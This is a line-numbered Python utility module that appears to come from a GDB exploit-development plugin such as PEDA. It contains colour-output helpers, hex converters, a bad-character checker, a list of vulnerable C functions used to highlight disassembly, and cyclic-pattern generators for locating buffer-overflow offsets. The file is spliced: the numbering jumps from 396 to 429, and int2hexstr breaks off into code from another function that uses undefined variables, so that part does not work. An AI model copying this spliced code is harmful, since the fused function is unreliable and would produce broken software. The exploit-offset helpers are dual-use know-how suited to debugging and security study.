101 | def tmpfile(pref="peda-"):
102 |     """Create and return a temporary file with custom prefix"""
103 |     return tempfile.NamedTemporaryFile(prefix=pref)
104 | 
105 | def colorize(text, color=None, attrib=None):
106 |     """
107 |     Colorize text using ansicolor
108 |     ref: https://github.com/hellman/libcolors/blob/master/libcolors.py
109 |     """
110 |     # ansicolor definitions
111 |     COLORS = {"black": "30", "red": "31", "green": "32", "yellow": "33",
112 |                 "blue": "34", "purple": "35", "cyan": "36", "white": "37"}
113 |     CATTRS = {"regular": "0", "bold": "1", "underline": "4", "strike": "9",
114 |                 "light": "1", "dark": "2", "invert": "7"}
115 | 
116 |     CPRE = '\033['
117 |     CSUF = '\033[0m'
118 | 
119 |     if not config.Option.get("ansicolor"):
120 |         return text
121 | 
122 |     ccode = ""
123 |     if attrib:
124 |         for attr in attrib.lower().split():
125 |             attr = attr.strip(",+|")
126 |             if attr in CATTRS:
127 |                 ccode += ";" + CATTRS[attr]
128 |     if color in COLORS:
129 |         ccode += ";" + COLORS[color]
130 |     return CPRE + ccode + "m" + text + CSUF
131 | 
132 | def green(text, attrib=None):
133 |     """Wrapper for colorize(text, 'green')"""
134 |     return colorize(text, "green", attrib)
135 | 
136 | def red(text, attrib=None):
137 |     """Wrapper for colorize(text, 'red')"""
138 |     return colorize(text, "red", attrib)
139 | 
140 | def yellow(text, attrib=None):
141 |     """Wrapper for colorize(text, 'yellow')"""
142 |     return colorize(text, "yellow", attrib)
143 | 
144 | def blue(text, attrib=None):
145 |     """Wrapper for colorize(text, 'blue')"""
146 |     return colorize(text, "blue", attrib)
147 | 
148 | class message(object):
149 |     """
150 |     Generic pretty printer with redirection.
151 |     It also suports buffering using bufferize() and flush().
152 |     """
153 | 
154 |     def __init__(self):
155 |         self.out = sys.stdout
156 |         self.buffering = 0
157 | 
158 |     def bufferize(self, f=None):
159 |         """Activate message's bufferization, can also be used as a decorater."""
160 |         return
161 |         if f != None:
162 |             @functools.wraps(f)
163 |             def wrapper(*args, **kwargs):
164 |                 self.bufferize()
165 |                 f(*args, **kwargs)
166 |                 self.flush()
167 |             return wrapper
168 | 
169 |         # If we are still using stdio we need to change it.
170 |         if not self.buffering:
171 |             self.out = StringIO()
172 |         self.buffering += 1
173 | 
174 |     def flush(self):
175 |         if not self.buffering:
176 |             raise ValueError("Tried to flush a message that is not bufferising.")
177 |         self.buffering -= 1
178 | 
179 |         # We only need to flush if this is the lowest recursion level.
180 |         if not self.buffering:
181 |             self.out.flush()
182 |             sys.stdout.write(self.out.getvalue())
183 |             self.out = sys.stdout
184 | 
185 |     def __call__(self, text, color=None, attrib=None, teefd=None):
186 |         if not teefd:
187 |             teefd = config.Option.get("_teefd")
188 | 
189 |         if (isinstance(text, str) or isinstance(text, unicode)):
190 |             text = text.replace("\x00", colorize(".", "red", None))
191 |             print(colorize(text, color, attrib), file=self.out)
192 |             if teefd:
193 |                 print(colorize(text, color, attrib), file=teefd)
194 |         else:
195 |             pprint.pprint(text, self.out)
196 |             if teefd:
197 |                 pprint.pprint(text, teefd)
198 | 
199 | msg = message()
200 | 
201 | def warning_msg(text):
202 |     """Colorize warning message with prefix"""
203 |     msg(colorize("Warning: " + str(text), "yellow"))
204 | 
205 | def error_msg(text):
206 |     """Colorize error message with prefix"""
207 |     msg(colorize("Error: " + str(text), "red"))
208 | 
209 | def debug_msg(text, prefix="Debug"):
210 |     """Colorize debug message with prefix"""
211 |     if config.Option.get("debug"):
212 |         msg(colorize("%s: %s" % (prefix, str(text)), "cyan"))
213 | 
214 | def trim(docstring):
215 |     """
216 |     Handle docstring indentation, ref: PEP257
217 |     """
218 |     if not docstring:
219 |         return ''
220 |     # Convert tabs to spaces (following the normal Python rules)
221 |     # and split into a list of lines:
222 |     lines = docstring.expandtabs().splitlines()
223 |     # Determine minimum indentation (first line doesn't count):
224 |     indent = sys.maxsize
225 |     for line in lines[1:]:
226 |         stripped = line.lstrip()
227 |         if stripped:
228 |             indent = min(indent, len(line) - len(stripped))
229 |     # Remove indentation (first line is special):
230 |     trimmed = [lines[0].strip()]
231 |     if indent < sys.maxsize:
232 |         for line in lines[1:]:
233 |             trimmed.append(line[indent:].rstrip())
234 |     # Strip off trailing and leading blank lines:
235 |     while trimmed and not trimmed[-1]:
236 |         trimmed.pop()
237 |     while trimmed and not trimmed[0]:
238 |         trimmed.pop(0)
239 |     # Return a single string:
240 |     return '\n'.join(trimmed)
241 | 
242 | def separator(title = ''):
243 |     import struct, termios, fcntl, sys
244 |     try:
245 |         _height, width = struct.unpack('hh', fcntl.ioctl(sys.stdin.fileno(), termios.TIOCGWINSZ, '1234'))
246 |     except:
247 |         width = 80
248 |     w = width - 2 - len(title)
249 |     return '[%s%s%s]' % ('-' * (w // 2), title, '-' * ((w + 1) // 2))
250 | 
251 | def pager(text, pagesize=None):
252 |     """
253 |     Paging output, mimic external command less/more
254 |     """
255 |     if not pagesize:
256 |         pagesize = config.Option.get("pagesize")
257 | 
258 |     if pagesize <= 0:
259 |         msg(text)
260 |         return
261 | 
262 |     i = 1
263 |     text = text.splitlines()
264 |     l = len(text)
265 | 
266 |     for line in text:
267 |         msg(line)
268 |         if i % pagesize == 0:
269 |             ans = input("--More--(%d/%d)" % (i, l))
270 |             if ans.lower().strip() == "q":
271 |                 break
272 |         i += 1
273 | 
274 |     return
275 | 
276 | def execute_external_command(command, cmd_input=None):
277 |     """
278 |     Execute external command and capture its output
279 | 
280 |     Args:
281 |         - command (String)
282 | 
283 |     Returns:
284 |         - output of command (String)
285 |     """
286 |     result = ""
287 |     P = Popen([command], stdout=PIPE, stdin=PIPE, stderr=PIPE, shell=True)
288 |     (result, err) = P.communicate(cmd_input)
289 |     if err and config.Option.get("debug"):
290 |         warning_msg(err)
291 | 
292 |     return decode(result, 'utf-8')
293 | 
294 | def is_printable(text, printables=""):
295 |     """
296 |     Check if a string is printable
297 |     """
298 |     try:    text = text.decode('ascii')
299 |     except: return False
300 | 
301 |     if all(c in string.printable for c in text):
302 |         return True
303 | 
304 |     return False
305 | 
306 | def is_math_exp(str):
307 |     """
308 |     Check if a string is a math exprssion
309 |     """
310 |     charset = set("0123456789abcdefx+-*/%^")
311 |     opers = set("+-*/%^")
312 |     exp = set(str.lower())
313 |     return (exp & opers != set()) and (exp - charset == set())
314 | 
315 | def normalize_argv(args, size=0, convert=True):
316 |     """
317 |     Normalize argv to list with predefined length
318 |     """
319 |     args = list(args)
320 |     for (idx, val) in enumerate(args[:size]):
321 |         if convert:
322 |             as_int = to_int(val)
323 |             if as_int is not None:
324 |                 args[idx] = as_int
325 | 
326 |     args += [None]*(size-len(args))
327 |     return args
328 | 
329 | def to_hexstr(str):
330 |     """
331 |     Convert a string to hex escape represent
332 |     """
333 |     return "".join(["\\x%02x" % ord(i) for i in str])
334 | 
335 | def to_hex(num):
336 |     """
337 |     Convert a number to hex format
338 |     """
339 |     if num < 0:
340 |         return "-0x%x" % (-num)
341 |     else:
342 |         return "0x%x" % num
343 | 
344 | def to_address(num):
345 |     """
346 |     Convert a number to address format in hex
347 |     """
348 |     if num < 0:
349 |         return to_hex(num)
350 |     if num > 0xffffffff: # 64 bit
351 |         return "0x%016x" % num
352 |     else:
353 |         return "0x%08x" % num
354 | 
355 | def to_int(val):
356 |     """
357 |     Convert a string to int number
358 |     """
359 |     try:    return int(str(val), 0)
360 |     except: pass
361 | 
362 |     try:    return int(gdb.parse_and_eval(val))
363 |     except: pass
364 | 
365 |     return None
366 | 
367 | def str2hex(str):
368 |     """
369 |     Convert a string to hex encoded format
370 |     """
371 |     result = binascii.hexlify(str)
372 |     return result
373 | 
374 | def hex2str(hexnum, intsize=4):
375 |     """
376 |     Convert a number in hex format to string
377 |     """
378 | 
379 |     if not isinstance(hexnum, str):
380 |         nbits = intsize * 8
381 |         hexnum = "0x%x" % ((hexnum + (1 << nbits)) % (1 << nbits))
382 | 
383 |     s = hexnum[2:]
384 |     if len(s) % 2 != 0:
385 |         s = "0" + s
386 |     result=binascii.unhexlify(s)[::-1]
387 |     return result
388 | 
389 | def int2hexstr(num, intsize=4):
390 |     """
391 |     Convert a number to hexified string
392 |     """
393 | 
394 |     if intsize == 8:
395 |         if num < 0:
396 |             result = struct.pack("Q", data[i:i+intsize])[0]
429 |         else:
430 |             val = struct.unpack(">L", data[i:i+intsize])[0]
431 |         result = [val] + result
432 |     return result
433 | 
434 | @memoized
435 | def check_badchars(data, chars=None):
436 |     """
437 |     Check an address or a value if it contains badchars
438 |     """
439 |     if to_int(data) is None:
440 |         to_search = data
441 |     else:
442 |         data = to_hex(to_int(data))[2:]
443 |         if len(data) % 2 != 0:
444 |             data = "0" + data
445 |         to_search = decode(data,'hex')
446 | 
447 |     if not chars:
448 |         chars = config.Option.get("badchars")
449 | 
450 |     if chars:
451 |         for c in chars:
452 |             if c in to_search:
453 |                 return True
454 |     return False
455 | 
456 | @memoized
457 | def format_address(addr, type):
458 |     """Colorize an address"""
459 |     colorcodes = {
460 |         "data": "blue",
461 |         "code": "red",
462 |         "rodata": "green",
463 |         "value": None
464 |     }
465 |     return colorize(addr, colorcodes[type])
466 | 
467 | @memoized
468 | def format_reference_chain(chain):
469 |     """
470 |     Colorize a chain of references
471 | 
472 |     v = value
473 |     t = type
474 |     vn = value name (str)
475 |     """
476 |     v = t = vn = None
477 |     text = ""
478 | 
479 |     if not chain:
480 |         text += "Cannot access memory address"
481 |     else:
482 |         first = 1
483 |         for (v, t, vn) in chain:
484 |             if t != "value":
485 |                 text += "%s%s " % ("--> " if not first else "", format_address(v, t))
486 |             else:
487 |                 text += "%s%s " % ("--> " if not first else "", v)
488 |             first = 0
489 | 
490 |         if vn:
491 |             text += "(%s)" % vn
492 |         else:
493 |             if v != "0x0":
494 |                 s = hex2str(v)
495 |                 if is_printable(s, "\x00"):
496 |                     text += "(%s)" % s
497 |     return text
498 | 
499 | def split_disasm_line(line):
500 |     # example lines
501 |     # '   0x41ea8a :  sub    $0x128,%rsp'
502 |     # '=> 0x8048560:\tmov    eax,ds:0x80499e0 ; hello world
503 |     rprefix   = r'(.*?)'
504 |     raddr     = r'(0x[0-9a-fA-F]+)'
505 |     rname     = r'\s*(?:<(.*?)>)?'
506 |     rinstr    = r':?\s*([^;]+)'
507 |     rcomment  = r'(.*)'
508 |     pattern = rprefix + raddr + rname + rinstr + rcomment
509 | 
510 |     # PANIC!
511 |     p,a,n,i,c = re.match(pattern, line).groups()
512 | 
513 |     return p,int(a,16),n,i,(c or None)
514 | 
515 | # vulnerable C functions, source: rats/flawfinder
516 | VULN_FUNCTIONS = [
517 |     "exec", "system", "gets", "popen", "getenv", "strcpy", "strncpy", "strcat", "strncat",
518 |     "memcpy", "bcopy", "printf", "sprintf", "snprintf", "scanf",  "getchar", "getc", "read",
519 |     "recv", "tmp", "temp"
520 | ]
521 | 
522 | def format_disasm_code(code, nearby=None):
523 |     """
524 |     Format output of disassemble command with colors to highlight:
525 |         - dangerous functions (rats/flawfinder)
526 |         - branching: jmp, call, ret
527 |         - testing: cmp, test
528 | 
529 |     Args:
530 |         - code: input asm code (String)
531 |         - nearby: address for nearby style format (Int)
532 | 
533 |     Returns:
534 |         - colorized text code (String)
535 |     """
536 |     colorcodes = {
537 |         "cmp": "red",
538 |         "test": "red",
539 |         "call": "green",
540 |         "j": "yellow", # jump
541 |         "ret": "blue",
542 |     }
543 |     result = ""
544 | 
545 |     if not code:
546 |         return result
547 | 
548 |     if to_int(nearby) is not None:
549 |         target = to_int(nearby)
550 |     else:
551 |         target = 0
552 | 
553 |     for line in code.splitlines():
554 |         if ":" not in line: # not an assembly line
555 |             result += line + "\n"
556 |         else:
557 |             color = style = None
558 | 
559 |             prefix, addr, name, inst, comment = split_disasm_line(line)
560 |             if not addr:
561 |                 result += line + "\n"
562 |                 return
563 | 
564 |             oaddr = re.search("\s*(0x[0-9a-fA-F]+)", line).group(1)
565 | 
566 |             opcode = inst.split(None, 1)[0]
567 |             for c in colorcodes:
568 |                 if c not in opcode:
569 |                     continue
570 |                 color = colorcodes[c]
571 |                 if c == "call":
572 |                     if any(f in inst for f in VULN_FUNCTIONS):
573 |                         style = "bold, underline"
574 |                         color = "red"
575 |                 break
576 | 
577 |             if addr < target:
578 |                 style = "dark"
579 |             elif addr == target:
580 |                 style = "bold"
581 |                 color = "green"
582 | 
583 |             code = colorize(inst, color, style)
584 | 
585 |             if name is not None:
586 |                 name = colorize(" <%s>" % name, color, "dark")
587 |             else:
588 |                 name = ""
589 | 
590 |             if comment is not None:
591 |                 comment = colorize(";" + comment, color, "dark")
592 |             else:
593 |                 comment = ""
594 | 
595 | 
596 |             line = "%s%s%s:\t%s%s" % (prefix, oaddr, name, code, comment)
597 |             result += line + "\n"
598 | 
599 |     return result.rstrip()
600 | 
601 | def cyclic_pattern_charset(charset_type=None):
602 |     """
603 |     Generate charset for cyclic pattern
604 | 
605 |     Args:
606 |         - charset_type: charset type
607 |             0: basic (0-9A-za-z)
608 |             1: extended (default)
609 |             2: maximum (almost printable chars)
610 | 
611 |     Returns:
612 |         - list of charset
613 |     """
614 | 
615 |     charset = []
616 |     charset += ["ABCDEFGHIJKLMNOPQRSTUVWXYZ"] # string.uppercase
617 |     charset += ["abcdefghijklmnopqrstuvwxyz"] # string.lowercase
618 |     charset += ["0123456789"] # string.digits
619 | 
620 |     if not charset_type:
621 |         charset_type = config.Option.get("pattern")
622 | 
623 |     if charset_type == 1: # extended type
624 |         charset[1] = "%$-;" + charset[1]
625 |         charset[2] = "sn()" + charset[2]
626 | 
627 |     if charset_type == 2: # maximum type
628 |         charset += ['!"#$%&\()*+,-./:;<=>?@[\\]^_{|}~'] # string.punctuation
629 | 
630 |     mixed_charset = mixed = ''
631 |     k = 0
632 |     while True:
633 |         for i in range(0, len(charset)): mixed += charset[i][k:k+1]
634 |         if not mixed: break
635 |         mixed_charset += mixed
636 |         mixed = ''
637 |         k+=1
638 | 
639 |     return mixed_charset
640 | 
641 | def de_bruijn(charset, n, maxlen):
642 |     """
643 |     Generate the De Bruijn Sequence up to `maxlen` characters for the charset `charset`
644 |     and subsequences of length `n`.
645 |     Algorithm modified from wikipedia http://en.wikipedia.org/wiki/De_Bruijn_sequence
646 |     """
647 |     k = len(charset)
648 |     a = [0] * k * n
649 |     sequence = []
650 |     def db(t, p):
651 |         if len(sequence) == maxlen:
652 |             return
653 | 
654 |         if t > n:
655 |             if n % p == 0:
656 |                 for j in range(1, p + 1):
657 |                     sequence.append(charset[a[j]])
658 |                     if len(sequence) == maxlen:
659 |                         return
660 |         else:
661 |             a[t] = a[t - p]
662 |             db(t + 1, p)
663 |             for j in range(a[t - p] + 1, k):
664 |                 a[t] = j
665 |                 db(t + 1, t)
666 |     db(1,1)
667 |     return ''.join(sequence)
668 | 
669 | @memoized
670 | def cyclic_pattern(size=None, start=None, charset_type=None):
671 |     """
672 |     Generate a cyclic pattern
673 | 
674 |     Args:
675 |         - size: size of generated pattern (Int)
676 |         - start: the start offset of the generated pattern (Int)
677 |         - charset_type: charset type
678 |             0: basic (0-9A-za-z)
679 |             1: extended (default)
680 |             2: maximum (almost printable chars)
681 | 
682 |     Returns:
683 |         - pattern text (String)
684 |     """
685 |     charset = config.Option.get("p_charset")
686 |     if not charset:
687 |         charset = cyclic_pattern_charset(charset)
688 |     else:
689 |         charset = ''.join(set(charset))
690 | 
691 |     if start is None:
692 |         start = 0
693 |     if size is None:
694 |         size = 0x10000
695 | 
696 |     size+=start
697 | 
698 |     pattern = de_bruijn(charset, 3, size)
699 | 
700 |     return pattern[start:size]
701 | 
702 | @memoized
703 | def cyclic_pattern_offset(value):
704 |     """
705 |     Search a value if it is a part of cyclic pattern
706 | 
707 |     Args:
708 |         - value: value to search for (String/Int)
709 | 
710 |     Returns:
711 |         - offset in pattern if found
712 |     """
713 |     pattern = cyclic_pattern()
714 |     if to_int(value) is None:
715 |         search = value
716 |     else:
717 |         search = hex2str(to_int(value))
718 | 
719 |     pos = pattern.find(search)
720 |     return pos if pos != -1 else None
721 | 
722 | def cyclic_pattern_search(buf):
723 |     """
724 |     Search all cyclic pattern pieces in a buffer
725 | 
726 |     Args:
727 |         - buf: buffer to search for (String)
728 | 
729 |     Returns:
730 |         - list of tuple (buffer_offset, pattern_len, pattern_offset)
731 |     """
732 |     result = []
733 |     pattern = cyclic_pattern()
734 | 
735 |     p = re.compile("[%s]{4,}" % re.escape(cyclic_pattern_charset()))
736 |     found = p.finditer(buf)
737 |     found = list(found)
738 |     for m in found:
739 |         s = buf[m.start():m.end()]
740 |         i = pattern.find(s)
741 |         k = 0
742 |         while i == -1 and len(s) > 4:
743 |             s = s[1:]
744 |             k += 1
745 |             i = pattern.find(s)
746 |         if i != -1:
747 |             result += [(m.start()+k, len(s), i)]
748 | 
749 |     return result
750 | 


--------------------------------------------------------------------------------